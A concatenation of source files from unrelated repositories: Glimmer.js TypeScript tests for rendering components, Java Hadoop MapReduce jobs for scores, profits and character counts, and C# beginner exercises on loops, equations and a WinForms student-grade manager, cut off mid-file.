let importClause = getImportClause(name, id); let moduleSpecifier = getModuleSpecifier(module); return `import ${importClause} from ${moduleSpecifier};`; } export function getModuleSpecifier(modulePath: string) { return JSON.stringify(`./${modulePath}`); } export function getImportStatements(modules: Specifier[], builtins: BuiltinsMap) { let identifiers = new Array<string>(modules.length).fill(''); let seen = dict<boolean>(); let imports = modules.map((specifier, i) => { let { module, name } = specifier; if (builtins.byModulePath.has(module)) { let id = `${name}_${i}`; identifiers[i] = id; return `import { ${name} as ${id} } from "${module}";`; } let id = getIdentifier(module, seen); identifiers[i] = id; return getImportStatement(specifier, id); }); return { imports, identifiers }; } <file_sep>/packages/@glimmer/application/test/browser/application-test.ts import Application, { RuntimeCompilerLoader, SyncRenderer, DOMBuilder } from '@glimmer/application'; import { BlankResolver } from '@glimmer/test-utils'; import { Document } from 'simple-dom'; const { module, test } = QUnit; module('[@glimmer/application] Application'); test('can be instantiated', function(assert) { let resolver = new BlankResolver(); let app = new Application({ rootName: 'app', loader: new RuntimeCompilerLoader(resolver), renderer: new SyncRenderer(), builder: new DOMBuilder({ element: document.body, nextSibling: null }), resolver }); assert.ok(app, 'app exists'); }); test('accepts options for rootName, resolver and document', function(assert) { const resolver = new BlankResolver; let app = new Application({ rootName: 'app', loader: new RuntimeCompilerLoader(resolver), renderer: new SyncRenderer(), builder: new DOMBuilder({ element: document.body, nextSibling: null }), resolver }); assert.equal(app.rootName, 'app'); assert.equal(app.resolver, resolver); assert.equal(app.document, window.document, 'defaults to window document if document is not provided in options'); let customDocument = new Document(); app = new Application({ rootName: 'app', resolver, document: customDocument, loader: new RuntimeCompilerLoader(resolver), renderer: new SyncRenderer(), builder: new DOMBuilder({ element: document.body, nextSibling: null }) }); assert.equal(app.document, customDocument); }); <file_sep>/packages/@glimmer/application/test/browser/render-component-test.ts import { buildApp, didRender } from '@glimmer/application-test-helpers'; import { DEBUG } from '@glimmer/env'; const { module, test } = QUnit; module('[@glimmer/application] renderComponent'); test('renders a component', async function(assert) { assert.expect(1); let containerElement = document.createElement('div'); let app = await buildApp() .template('HelloWorld', `<h1>Hello Glimmer!</h1>`) .boot(); app.renderComponent('HelloWorld', containerElement); await didRender(app); assert.equal(containerElement.innerHTML, '<h1>Hello Glimmer!</h1>'); }); test('renders a component without affecting existing content', async function(assert) { assert.expect(2); let containerElement = document.createElement('div'); let previousSibling = document.createElement('p'); previousSibling.appendChild(document.createTextNode('foo')); containerElement.appendChild(previousSibling); containerElement.appendChild(document.createTextNode('bar')); let app = await buildApp() .template('HelloWorld', `<h1>Hello Glimmer!</h1>`) .boot(); assert.equal(containerElement.innerHTML, '<p>foo</p>bar'); app.renderComponent('HelloWorld', containerElement); await didRender(app); assert.equal(containerElement.innerHTML, '<p>foo</p>bar<h1>Hello Glimmer!</h1>'); }); test('renders a component before a given sibling', async function(assert) { assert.expect(2); let containerElement = document.createElement('div'); let previousSibling = document.createElement('p'); let nextSibling = document.createElement('aside'); containerElement.appendChild(previousSibling); containerElement.appendChild(nextSibling); let app = await buildApp() .template('HelloWorld', `<h1>Hello Glimmer!</h1>`) .boot(); assert.equal(containerElement.innerHTML, '<p></p><aside></aside>'); app.renderComponent('HelloWorld', containerElement, nextSibling); await didRender(app); assert.equal(containerElement.innerHTML, '<p></p><h1>Hello Glimmer!</h1><aside></aside>'); }); test('renders multiple components in different places', async function(assert) { assert.expect(2); let firstContainerElement = document.createElement('div'); let secondContainerElement = document.createElement('div'); let app = await buildApp() .template('HelloWorld', `<h1>Hello Glimmer!</h1>`) .template('HelloRobbie', `<h1>Hello Robbie!</h1>`) .boot(); app.renderComponent('HelloWorld', firstContainerElement); app.renderComponent('HelloRobbie', secondContainerElement); await didRender(app); assert.equal(firstContainerElement.innerHTML, '<h1>Hello Glimmer!</h1>'); assert.equal(secondContainerElement.innerHTML, '<h1>Hello Robbie!</h1>'); }); test('renders multiple components in the same container', async function(assert) { assert.expect(1); let containerElement = document.createElement('div'); let app = await buildApp() .template('HelloWorld', `<h1>Hello Glimmer!</h1>`) .template('HelloRobbie', `<h1>Hello Robbie!</h1>`) .boot(); app.renderComponent('HelloWorld', containerElement); app.renderComponent('HelloRobbie', containerElement); await didRender(app); assert.equal(containerElement.innerHTML, '<h1>Hello Glimmer!</h1><h1>Hello Robbie!</h1>'); }); test('renders multiple components in the same container in particular places', async function(assert) { assert.expect(2); let containerElement = document.createElement('div'); let nextSibling = document.createElement('aside'); containerElement.appendChild(nextSibling); let app = await buildApp() .template('HelloWorld', `<h1>Hello Glimmer!</h1>`) .template('HelloRobbie', `<h1>Hello Robbie!</h1>`) .boot(); assert.equal(containerElement.innerHTML, '<aside></aside>'); app.renderComponent('HelloWorld', containerElement); app.renderComponent('HelloRobbie', containerElement, nextSibling); await didRender(app); assert.equal(containerElement.innerHTML, '<h1>Hello Robbie!</h1><aside></aside><h1>Hello Glimmer!</h1>'); }); if (DEBUG) { test('throws an exception if an invoked component is not found', async function(assert) { assert.expect(1); let containerElement = document.createElement('div'); let app = await buildApp() .template('HelloWorld', `<NonExistent />`) .boot(); app.renderComponent('HelloWorld', containerElement); await rejects(assert, didRender(app), /Could not find the component 'NonExistent'/); }); } async function rejects(assert: Assert, promise: Promise<any>, message: RegExp) { try { let value = await promise; assert.ok(false, `Expected promise to reject, got ${value}`); } catch (err) { assert.pushResult({ result: err.message.match(message), actual: err.message, expected: message, message: 'Expected error message to match' }); } }
57ea3dbf937aac305644df0e5eb0040dc392a229
[ "TypeScript" ]
8
TypeScript
c0urg3tt3/glimmer.js
8bd13187a5016ef9bddd1256d027ff923c9e4e63
e15d618db422e42200c0339d2706fcd9749716a6
refs/heads/master
<file_sep>package searchFileByWord; import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.fs.Path; import org.apache.hadoop.io.NullWritable; import org.apache.hadoop.io.Text; import org.apache.hadoop.mapreduce.Job; import org.apache.hadoop.mapreduce.Mapper; import org.apache.hadoop.mapreduce.Reducer; import org.apache.hadoop.mapreduce.lib.input.FileInputFormat; import org.apache.hadoop.mapreduce.lib.output.FileOutputFormat; import scorelist.Score; public class SEARCHDriver { public static void main(String[] args) throws Exception { Configuration conf = new Configuration(); Job job = Job.getInstance(conf, "JobName"); job.setJarByClass(searchFileByWord.SEARCHDriver.class); // TODO: specify a mapper job.setMapperClass(SearchMapper.class); // TODO: specify a reducer job.setReducerClass(SearchReducer.class); // TODO: specify output types job.setOutputKeyClass(Score.class); job.setOutputValueClass(NullWritable.class); // TODO: specify input and output DIRECTORIES (not files) FileInputFormat.setInputPaths(job, new Path("hdfs://10.42.117.115:9000/mr/score")); FileOutputFormat.setOutputPath(job, new Path("hdfs://10.42.117.115:9000/scorelistResult")); if (!job.waitForCompletion(true)) return; } } <file_sep>package sortProfit; import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.fs.Path; import org.apache.hadoop.io.NullWritable; import org.apache.hadoop.io.Text; import org.apache.hadoop.mapreduce.Job; import org.apache.hadoop.mapreduce.Mapper; import org.apache.hadoop.mapreduce.Reducer; import org.apache.hadoop.mapreduce.lib.input.FileInputFormat; import org.apache.hadoop.mapreduce.lib.output.FileOutputFormat; import scorelist.Score; public class SPDriver { public static void main(String[] args) throws Exception { Configuration conf = new Configuration(); Job job = Job.getInstance(conf, "JobName"); job.setJarByClass(sortProfit.SPDriver.class); // TODO: specify a mapper job.setMapperClass(SPMapper.class); // TODO: specify a reducer job.setReducerClass(SPReducer.class); // TODO: specify output types // job.setMapOutputKeyClass(Profit.class); // job.setMapOutputKeyClass(NullWritable.class); job.setOutputKeyClass(Profit.class); job.setOutputValueClass(NullWritable.class); // TODO: specify input and output DIRECTORIES (not files) FileInputFormat.setInputPaths(job, new Path("hdfs://10.42.117.115:9000/mr/profit.txt")); FileOutputFormat.setOutputPath(job, new Path("hdfs://10.42.117.115:9000/SPprofit111111-result")); if (!job.waitForCompletion(true)) return; } } <file_sep>package charcter; import java.io.IOException; import org.apache.hadoop.io.LongWritable; import org.apache.hadoop.io.Text; import org.apache.hadoop.mapreduce.Reducer; public class cRedducer extends Reducer<Text, LongWritable, Text, LongWritable> { //注意:迭代器只能遍历一次 public void reduce(Text key, Iterable<LongWritable> values, Context context) throws IOException, InterruptedException { // process values long sum=0; for (LongWritable val : values) { sum+=val.get(); } context.write(key, new LongWritable(sum)); } } <file_sep>package profit; import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.fs.Path; import org.apache.hadoop.io.IntWritable; import org.apache.hadoop.io.LongWritable; import org.apache.hadoop.io.Text; import org.apache.hadoop.mapreduce.Job; import org.apache.hadoop.mapreduce.Mapper; import org.apache.hadoop.mapreduce.Reducer; import org.apache.hadoop.mapreduce.lib.input.FileInputFormat; import org.apache.hadoop.mapreduce.lib.output.FileOutputFormat; public class profitDriver { public static void main(String[] args) throws Exception { Configuration conf = new Configuration(); Job job = Job.getInstance(conf, "JobName"); job.setJarByClass(profit.profitDriver.class); // TODO: specify a mapper job.setMapperClass(profitMapper.class); // TODO: specify a reducer job.setReducerClass(profitReducer.class); // 设置分区类 job.setPartitionerClass(profitPartioner.class); // 根据分区数量设置reducetask数量 // 如果reducetask的数量为1分区无效 job.setNumReduceTasks(3); // TODO: specify output types job.setMapOutputKeyClass(IntWritable.class); job.setMapOutputValueClass(Profit.class); job.setOutputKeyClass(IntWritable.class); job.setOutputValueClass(IntWritable.class); // TODO: specify input and output DIRECTORIES (not files) FileInputFormat.setInputPaths(job, new Path("hdfs://10.42.117.115:9000/mr/profit.txt")); FileOutputFormat.setOutputPath(job, new Path("hdfs://10.42.117.115:9000/profit-result")); if (!job.waitForCompletion(true)) return; } } <file_sep>package scorelist.copy; import java.io.IOException; import org.apache.hadoop.io.LongWritable; import org.apache.hadoop.io.Text; import org.apache.hadoop.mapreduce.Mapper; public class maxMapper extends Mapper<LongWritable, Text, Text, LongWritable> { public void map(LongWritable key, Text value, Context context) throws IOException, InterruptedException { // 获取一行数据 String line = value.toString(); // String[] arr = line.split(" "); context.write(new Text(arr[0]), new LongWritable(Long.parseLong(arr[1]))); } } <file_sep>package flow2bylocation; import java.io.File; import java.io.IOException; import org.apache.hadoop.io.LongWritable; import org.apache.hadoop.io.Text; import org.apache.hadoop.mapreduce.Mapper; public class flowMapper extends Mapper<LongWritable, Text, Text,Flowbean> { public void map(LongWritable key, Text value, Context context) throws IOException, InterruptedException { // 获取一行数据 String line = value.toString(); // String[] arr = line.split(" "); Flowbean f=new Flowbean(); f.setPhone(arr[0]); f.setAddr(arr[1]); f.setName(arr[2]); f.setFlow(Integer.parseInt(arr[3])); context.write(new Text(f.getName()), f); } } <file_sep>package charcter; import java.io.IOException; import org.apache.hadoop.io.IntWritable; import org.apache.hadoop.io.LongWritable; import org.apache.hadoop.io.Text; import org.apache.hadoop.mapreduce.Mapper; public class cMapper extends Mapper<LongWritable, Text, Text,LongWritable> { public void map(LongWritable key, Text value, Context context) throws IOException, InterruptedException { // 获取一行数据 String line = value.toString(); // 拆分字符 char[] cs = line.toCharArray(); for(char c:cs){ if(c==' ') continue; context.write(new Text(c+""), new LongWritable(1)); } } } <file_sep>package searchFileByWord; import java.io.IOException; import org.apache.hadoop.io.LongWritable; import org.apache.hadoop.io.Text; import org.apache.hadoop.mapreduce.InputSplit; import org.apache.hadoop.mapreduce.Mapper; import org.apache.hadoop.mapreduce.lib.input.FileSplit; public class SearchMapper extends Mapper<LongWritable, Text, Text, Text> { public void map(LongWritable key, Text value, Context context) throws IOException, InterruptedException { // 获取map对应的切片 FileSplit split = (FileSplit) context.getInputSplit(); // 获取文件名 String name = split.getPath().getName(); String line = value.toString(); String[] arr = line.split(" "); for(String a:arr){ context.write(new Text(a),new Text(name)); } } } <file_sep>package flow2bylocation; import org.apache.hadoop.io.Text; import org.apache.hadoop.mapreduce.Partitioner; public class flow2Partioner extends Partitioner<Text, Flowbean>{ @Override public int getPartition(Text key, Flowbean value, int numPartions) { String addr = value.getAddr(); switch (addr) { case "bj": return 0; case "sh": return 1; case "sz": return 2; default: return 3; } } }<file_sep>package scoresumonetxt; import java.io.IOException; import org.apache.hadoop.io.LongWritable; import org.apache.hadoop.io.Text; import org.apache.hadoop.mapreduce.Mapper; import com.sun.org.apache.bcel.internal.generic.NEW; public class sumMapper extends Mapper<LongWritable, Text, Text, Score> { public void map(LongWritable key, Text value, Context context) throws IOException, InterruptedException { // 获取一行数据 String line = value.toString(); // String[] arr = line.split(" "); Score score=new Score(); score.setName(arr[0]); score.setValue1(Integer.parseInt(arr[1])); score.setValue2(Integer.parseInt(arr[2])); score.setValue3(Integer.parseInt(arr[3])); context.write(new Text(score.getName()),score); } } <file_sep>package charcter; import java.io.ByteArrayInputStream; import java.io.DataInput; import java.io.DataInputStream; import java.io.IOException; import org.apache.hadoop.io.Text; import org.apache.hadoop.io.WritableComparator; public class CharGroup extends WritableComparator{ @Override public int compare(byte[] b1, int s1, int l1, byte[] b2, int s2, int l2) { DataInput input1=new DataInputStream(new ByteArrayInputStream(b1)); Text key1=new Text(); try { key1.readFields(input1); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } key1.set(b1,s1,l1); DataInput input2=new DataInputStream(new ByteArrayInputStream(b2)); Text key2=new Text(); try { key2.readFields(input2); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } key2.set(b2,s2,l2); char c1 = key1.toString().charAt(0); char c2 = key2.toString().charAt(0); // ÅжÏc1ºÍc2ÊÇ·ñΪСд×Öĸ if(c1>='a'&&c1<='z'&&c2>='a'&&c2<='z'){ return 0; } else if(c1>='A'&&c1<='Z'&&c2>='A'&&c2<='Z'){ return 0; } else return c1-c2; } } <file_sep>package scorelist; import java.io.IOException; import org.apache.hadoop.io.LongWritable; import org.apache.hadoop.io.NullWritable; import org.apache.hadoop.io.Text; import org.apache.hadoop.mapreduce.Reducer; public class maxReducer extends Reducer<Score, NullWritable, Score, NullWritable> { public void reduce(Score key, Iterable<NullWritable> values, Context context) throws IOException, InterruptedException { // LongWritable max=new LongWritable(0); // 在进行遍历的时候,hadoop为了节省空间采用的是地址复用技术 // key=bob // itarable:684 340 312 548 // val.set(684); // val.set(340); // for (LongWritable val : values) { // if(val.get()>max.get()){ //// 赋值的是地址 // max=val; // } context.write(key, NullWritable.get()); } } <file_sep>package score1sumbyMoth; import org.apache.hadoop.io.Text; import org.apache.hadoop.mapreduce.Partitioner; public class scorePartioner extends Partitioner<Text, Score>{ @Override public int getPartition(Text key, Score value, int numPartions) { int month = value.getMonth(); switch (month) { case 1: return 0; case 2: return 1; case 3: return 2; default: return 3; } } }
fb383796d7f7049bb1f5cad7dee9f84289a00644
[ "Java" ]
13
Java
ttllmm/mr
647df37037961e3f083aa12699d4a539a0737fb2
81628ae7682285e825f9cdcd91895f3d770427ca
refs/heads/master
<repo_name>lovincyrus/shopify-frontend-challenge<file_sep>/validation.js document.getElementById("sign-up").addEventListener("click", checkEmail); function checkEmail() { var userInput = document.getElementById("email"); var interestedIn = document.getElementById("interest"); var mailformat = /^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/; if (userInput.value.match(mailformat)) { document.getElementById("form-text").innerHTML = "You have entered a valid email address!"; document.getElementById("form-text").style.color = "#7AB55C"; console.log(userInput.value); console.log(interestedIn.value); } else { document.getElementById("form-text").innerHTML = "Please enter a valid email address!"; document.getElementById("form-text").style.color = "#C23628"; } }<file_sep>/README.md # shopify-frontend-challenge Front End Development challenge 🛍 ![screenshot](screenshot.png) ## Demo > [Demo](https://www.useloom.com/share/eaf0de1b97cf474e825704a4b99654fe) ## Built With + HTML + CSS + Javascript + Bootstrap v4.0
6769823e6839be12a07f7db3ff9b4f71165d6a89
[ "JavaScript", "Markdown" ]
2
JavaScript
lovincyrus/shopify-frontend-challenge
df3228a59f8c95173dd2c446299d268dc1691b96
53b1656c3a232d9ea601632f5110a92f5900cb8a
refs/heads/master
<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace vonglapwhile { class Program { static void Main(string[] args) { #region Uoc chung lon nhat int a, b; Console.WriteLine("Nhap vao so a "); int.TryParse(Console.ReadLine(), out a); Console.WriteLine("Nhap vao so b "); int.TryParse(Console.ReadLine(), out b); //0*1=0=>while sai (5) while (a * b > 0) { //10>3(1) //1>3 false=>if sai(3) if (a > b) { //10%3=1(2) a = a % b; } //3%1=0(4) else b = b % a; } Console.WriteLine("UCLN la : {0}", a + b); #endregion #region La so nguyen to { int c; Console.WriteLine("Nhap so c: "); int.TryParse(Console.ReadLine(), out c); int i = 2; while (i <= c) { if (c % i == 0) { if (c == i) { Console.WriteLine("La so nguyen to"); } else Console.WriteLine("Khong la nguyen to"); break; } else i++; } } #endregion #region Do_While { int d; bool kt; Console.WriteLine("Nhap so nguyen: "); do { kt = int.TryParse(Console.ReadLine(), out d); Console.WriteLine("Nhap lai "); if (kt == true) { if (d <= 0) { kt = false; } } } while (kt == false); } #endregion } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace sudungmang { class Program { static void Main(string[] args) { int[] masinhvien = { 1, 2, 3, 4, 5, 8, 99}; string[] danhsachtensinhvien = new string[3]; for (int i = 0; i < masinhvien.Length; i++) { Console.WriteLine("Phan tu thu {0} la {1}", i, masinhvien[i]); } for (int k = 0; k < danhsachtensinhvien.Length; k++) { Console.WriteLine("Nhap ten sinh vien thu {0} ", k+1); danhsachtensinhvien[k] = Console.ReadLine(); } for (int j = 0; j < danhsachtensinhvien.Length; j++) { Console.WriteLine("Ten sinh vien thu {0} la {1}", j + 1,danhsachtensinhvien[j]); } Array.Sort(masinhvien); } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace WindowsFormsApp1 { public partial class FormTimmin : Form { public FormTimmin() { InitializeComponent(); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace sudungham { class PhuongTrinh {/// <summary> /// Tinh tong 2 so nguyen (tuong tu nhu Random) /// </summary> /// <param name="a"></param> /// <param name="b"></param> /// <returns></returns> public double Tong(double a, double b) { return a + b; } public double Hieu(double c, double d) { return c - d; } public double Thuong(double c, double d) { return c / d; } public double Tich(double c, double d) { return c * d; } public double PhuongTrinhBac1(double v1, double v2) { if (v1 == 0) if (v2 == 0) throw new Exception("Phuong trinh vo so nghiem"); else throw new Exception("Phuong trinh vo nghiem"); Console.WriteLine("PT co nghiem la {0} ", -v2 / v1); return -v2 / v1; } public double[] PhuongTrinhBacHai(double v12, double v13, double v14) { if (v12 == 0) throw new Exception("Khong Phai phuong trinh bac 2"); double d = v13*v13 - 4 * v12 * v14; if(d<0) throw new Exception("Vo nghiem"); double[] nghiem = new double[2]; nghiem[0] = (-v13 + Math.Sqrt(d)) / (2 * v12); nghiem[1] = (-v13 - Math.Sqrt(d)) / (2 * v12); return nghiem; } public double Timmax(double x, double y, double z) { double max = x; if (max < y) max=y; if (max < z) max = z; return max; } internal double Timmin(double x, double y, double z) { double min = x; if (min > y) min = y; if (min > z) min = z; return min; } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace baitoanvonglap { class Program { static void Main(string[] args) { /* #region tinh tong tu 1 den n int n,tong = 0; Console.WriteLine("Nhap cac so n: "); n = int.Parse(Console.ReadLine()); for (int i = 1; i <= n; i++) { tong = tong + i; } Console.WriteLine("tong tu 1 toi {1} la {0}", tong, n); #endregion #region Tinh n! int a; int giaithua = 1; Console.WriteLine("Nhap so a: "); a = int.Parse(Console.ReadLine()); for(int j=1;j<=a;j++) { giaithua = giaithua * j; } Console.WriteLine("Giai thua cua {0}! = {1}", a, giaithua); #endregion #region Tinh tong day so { double b, p=1, s = 0; Console.WriteLine("Nhap so b "); b = double.Parse(Console.ReadLine()); for(int k=1;k<=b;k++) //Cach 1 //{ // p = p * k; //s = s + (1 / p); //} //Cach 2 { s = s + (double)(1.0 / k); } Console.WriteLine("tong day so= {0}", s ); } #endregion*/ int soNguyen; for (; ; ) { bool kt = int.TryParse(Console.ReadLine(), out soNguyen); if (kt == true) { break; } Console.WriteLine("nhap lai so nguyen"); } } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Net.Security; using System.Text; using System.Threading.Tasks; namespace FormQuanLySinhVien { class Sinhvien { public string MaSV { get; set; } public string TenSV { get; set; } public string SDT { get; set; } public string DiaChi { get; set; } public bool GioiTinh { get; set; } public DateTime NgaySinh { get; set; } public static List<Sinhvien> DanhSachSinhVien; private static Sinhvien ThongTinSinhVienSua; public Sinhvien() { } public Sinhvien(string maSV, string tenSV, string sDT, string diaChi, bool gioiTinh, DateTime ngaySinh) { MaSV = maSV; TenSV = tenSV; SDT = sDT; DiaChi = diaChi; GioiTinh = gioiTinh; NgaySinh = ngaySinh; } public static List<Sinhvien> GetDanhSachSinhVien() { if (DanhSachSinhVien == null) return new List<Sinhvien>(); return DanhSachSinhVien; } public int Tuoi() { int nam = DateTime.Now.Year; int namsinh = this.NgaySinh.Year; return nam - namsinh; } public string SinhVien2String() { return String.Format(@"{0}, {1}, {2}, {3}, {4}, {5}", MaSV, TenSV, SDT, DiaChi, GioiTinh, NgaySinh); } public static Sinhvien SinhVienbyId(string masV) { foreach (var sv in DanhSachSinhVien) { if (sv.MaSV == masV) return sv; } return new Sinhvien(); } //gán thông tin sinh viên cần sửa public static void SetSinhVienSua(Sinhvien svSua) { ThongTinSinhVienSua = svSua; } public static Sinhvien GetSinhVienSua() { if(ThongTinSinhVienSua == null) { return new Sinhvien(); } return ThongTinSinhVienSua; } /// <summary> /// Class thêm sinh viên /// </summary> public void Them() { if (DanhSachSinhVien == null) DanhSachSinhVien = new List<Sinhvien>(); DanhSachSinhVien.Add(this); } /// <summary> /// Sinhvien thêm sinhvien /// </summary> /// <param name="sv"></param> public static void Them(Sinhvien sv) { if (DanhSachSinhVien == null) DanhSachSinhVien = new List<Sinhvien>(); DanhSachSinhVien.Add(sv); } public static void Xoa(string maSV) { DanhSachSinhVien.RemoveAll(sv => sv.MaSV == maSV); } public static void Sua(Sinhvien sinhvien) { Xoa(sinhvien.MaSV); Them(sinhvien); } } } <file_sep>using sudungham; using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace WindowsFormsApp1 { public partial class FormGiaiPhuongTrinhBacHai : Form { public FormGiaiPhuongTrinhBacHai() { InitializeComponent(); } private void btntinh_Click(object sender, EventArgs e) { try { double a, b, c; if(double.TryParse(txtsothunhat.Text, out a)==false) { txtsothunhat.SelectAll(); txtsothunhat.Focus(); throw new Exception("Du lieu khong hop le"); } if (double.TryParse(txtsothuhai.Text, out b) == false) { txtsothuhai.SelectAll(); txtsothuhai.Focus(); throw new Exception("Du lieu khong hop le"); } if (double.TryParse(txtsothuba.Text, out c) == false) { txtsothuba.SelectAll(); txtsothuba.Focus(); throw new Exception("Du lieu khong hop le"); } PhuongTrinh pt = new PhuongTrinh(); double [] nghiem = pt.PhuongTrinhBacHai(a,b,c); // txtketqua1.Text = pt.PhuongTrinhBacHai(a, b, c)[0].ToString(); //txtketqua.Text = pt.PhuongTrinhBacHai(a, b, c)[1].ToString(); txtketqua.Text = nghiem[0].ToString(); txtketqua1.Text = nghiem[1].ToString(); } catch (Exception ex) { MessageBox.Show(ex.Message,"Lỗi", MessageBoxButtons.OKCancel, MessageBoxIcon.Error); } } private void txtketqua_TextChanged(object sender, EventArgs e) { } private void btnThoat_Click(object sender, EventArgs e) { this.Close(); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace sudungvonglap { class Program { static void Main(string[] args) { #region Vong lap for for (int i = 0; i < 100; i++) { if (i % 2 == 0) { Console.WriteLine("xin chao {0}", i); } } #endregion #region Nhap day so tu ban phim int a; Console.WriteLine("Nhap so a : "); a = int.Parse(Console.ReadLine()); for (int i = 0; i <= a; i++) { if (i % 2 == 0) { Console.WriteLine(i); } } #endregion #region Bang cuu chuong //int b; //Console.WriteLine("Nhap mot so bat ki"); //b = int.Parse(Console.ReadLine()); Console.WriteLine("Bang cuu chuong"); for (int i = 2; i <= 9; i++) { for (int k = 2; k <= 10; k++) { Console.WriteLine("{0} x {1}= {2} ", i,k, i *k); } } #endregion } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace FormQuanLySinhVien { public partial class FormCapNhatBangDiem : Form { public int IsThis = 1; const int Sua = 0; const int Them = 1; public FormCapNhatBangDiem() { InitializeComponent(); } private void btnluu_Click(object sender, EventArgs e) { try { BangDiem bd = GetInputForm(); if(IsThis == 1) { BangDiem.Them(bd); ResetData(); //reset data } else { //sua BangDiem.Sua(bd); IsThis = Them; ResetData(); } } catch (Exception ex) { MessageBox.Show(ex.Message); } } private void ResetData() { dgvbangdiem.DataSource = BangDiem.GetDanhSachBangDiem().ToList(); } private BangDiem GetInputForm() { if(txtdiemtoan.Text=="") { txtdiemtoan.SelectAll(); txtdiemtoan.Focus(); throw new Exception("Bạn Chưa Nhập điểm Toán"); } if (txtdiemhoa.Text == "") { txtdiemhoa.SelectAll(); txtdiemhoa.Focus(); throw new Exception("Bạn Chưa Nhập điểm Hóa"); } if (txtdiemly.Text == "") { txtdiemly.SelectAll(); txtdiemly.Focus(); throw new Exception("Bạn Chưa Nhập điểm Lý"); } double toan, ly, hoa; #region diemtoan if (double.TryParse(txtdiemtoan.Text, out toan) == true) { if(toan >10 || toan <0) { txtdiemtoan.SelectAll(); txtdiemtoan.Focus(); throw new Exception("Điểm không hợp lệ"); } } else { txtdiemtoan.SelectAll(); txtdiemtoan.Focus(); throw new Exception("Điểm không hợp lệ"); } #endregion #region diemhoa if (double.TryParse(txtdiemhoa.Text, out hoa) == true) { if (hoa > 10 || hoa < 0) { txtdiemhoa.SelectAll(); txtdiemhoa.Focus(); throw new Exception("Điểm không hợp lệ"); } } else { txtdiemhoa.SelectAll(); txtdiemhoa.Focus(); throw new Exception("Điểm không hợp lệ"); } #endregion #region diemly if (double.TryParse(txtdiemly.Text, out ly) == true) { if (ly > 10 || ly < 0) { txtdiemly.SelectAll(); txtdiemly.Focus(); throw new Exception("Điểm không hợp lệ"); } } else { txtdiemly.SelectAll(); txtdiemly.Focus(); throw new Exception("Điểm không hợp lệ"); } #endregion Sinhvien iteamSV = (Sinhvien)cbbmasinhvien.SelectedItem; LopHoc iteamLH = (LopHoc)cbbmalop.SelectedItem; return new BangDiem( iteamLH.MaLop, iteamSV.MaSV, toan, ly , hoa); } private void FormCapNhatBangDiem_Load(object sender, EventArgs e) { cbbmalop.DataSource = LopHoc.GetDanhSachLopHoc().ToList(); cbbmalop.DisplayMember = "TenLop"; cbbmalop.ValueMember = "MaLop"; cbbmasinhvien.DataSource = Sinhvien.GetDanhSachSinhVien().ToList(); cbbmasinhvien.DisplayMember = "TenSinhVien"; cbbmasinhvien.ValueMember = "MaSV"; } private void dgvbangdiem_CellContentClick(object sender, DataGridViewCellEventArgs e) { IsThis = Sua; string MaSV = dgvbangdiem.Rows[e.RowIndex].Cells[0].Value.ToString(); string MaLop = dgvbangdiem.Rows[e.RowIndex].Cells[1].Value.ToString(); //Lấy thông tin dòng cần sửa BangDiem bdSua = BangDiem.BangDiemByMaSVMaLop( MaLop, MaSV); // gán thông tin dòng cần sửa vào form SetInputForm(bdSua); } private void SetInputForm(BangDiem bdSua) { txtdiemtoan.Text = bdSua.DiemToan.ToString() ; txtdiemhoa.Text = bdSua.DiemHoa.ToString(); txtdiemly.Text = bdSua.DiemLy.ToString(); cbbmalop.SelectedValue = bdSua.MaLop; cbbmasinhvien.SelectedValue = bdSua.MaSV; } private void btnxoa_Click(object sender, EventArgs e) { var isOk = MessageBox.Show("Muốn Xóa Không"); if (isOk == DialogResult.OK) return; BangDiem bdSua = GetInputForm(); BangDiem.Xoa(bdSua.MaLop, bdSua.MaSV); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace muatrongnam { class Program { static void Main(string[] args) { int thang; Console.WriteLine("Nhap vao thang tuong ung: "); thang = int.Parse(Console.ReadLine()); switch (thang) { case 1: Console.WriteLine("mua xuan"); break; case 2: Console.WriteLine("mua xuan"); break; case 3: Console.WriteLine("mua xuan"); break; case 4: Console.WriteLine("mua ha"); break; case 5: Console.WriteLine("mua ha"); break; case 6: Console.WriteLine("mua ha"); break; case 7: Console.WriteLine("mua thu"); break; case 8: Console.WriteLine("mua thu"); break; case 9: Console.WriteLine("mua thu"); break; case 10: Console.WriteLine("mua dong"); break; case 11: Console.WriteLine("mua dong"); break; case 12: Console.WriteLine("mua dong"); break; default: Console.WriteLine("nhap thang khong ton tai"); break; } } } }<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace giaiphuongtrinhbac2 { class phuongtrinhbac2 { static void Main(string[] args) { float a, b, c, d, x; Console.WriteLine("Nhap vao so a: "); a = float.Parse(Console.ReadLine()); Console.WriteLine("Nhap vao so b: "); b = float.Parse(Console.ReadLine()); Console.WriteLine("Nhap vao so c: "); c = float.Parse(Console.ReadLine()); d = b * b - 4 * a * c; if (a == 0) { Console.WriteLine("Phuong trinh vo nghia"); } else { if (d > 0) { Console.WriteLine("Phuong trinh co 2 nghiem phan biet x1={0}, x2={1}", (-b + Math.Sqrt(d)) / 2 * a, (-b - Math.Sqrt(d)) / 2 * a); } else Console.WriteLine("Phuong trinh vo nghiem"); } } } } <file_sep>using sudungham; using System; using 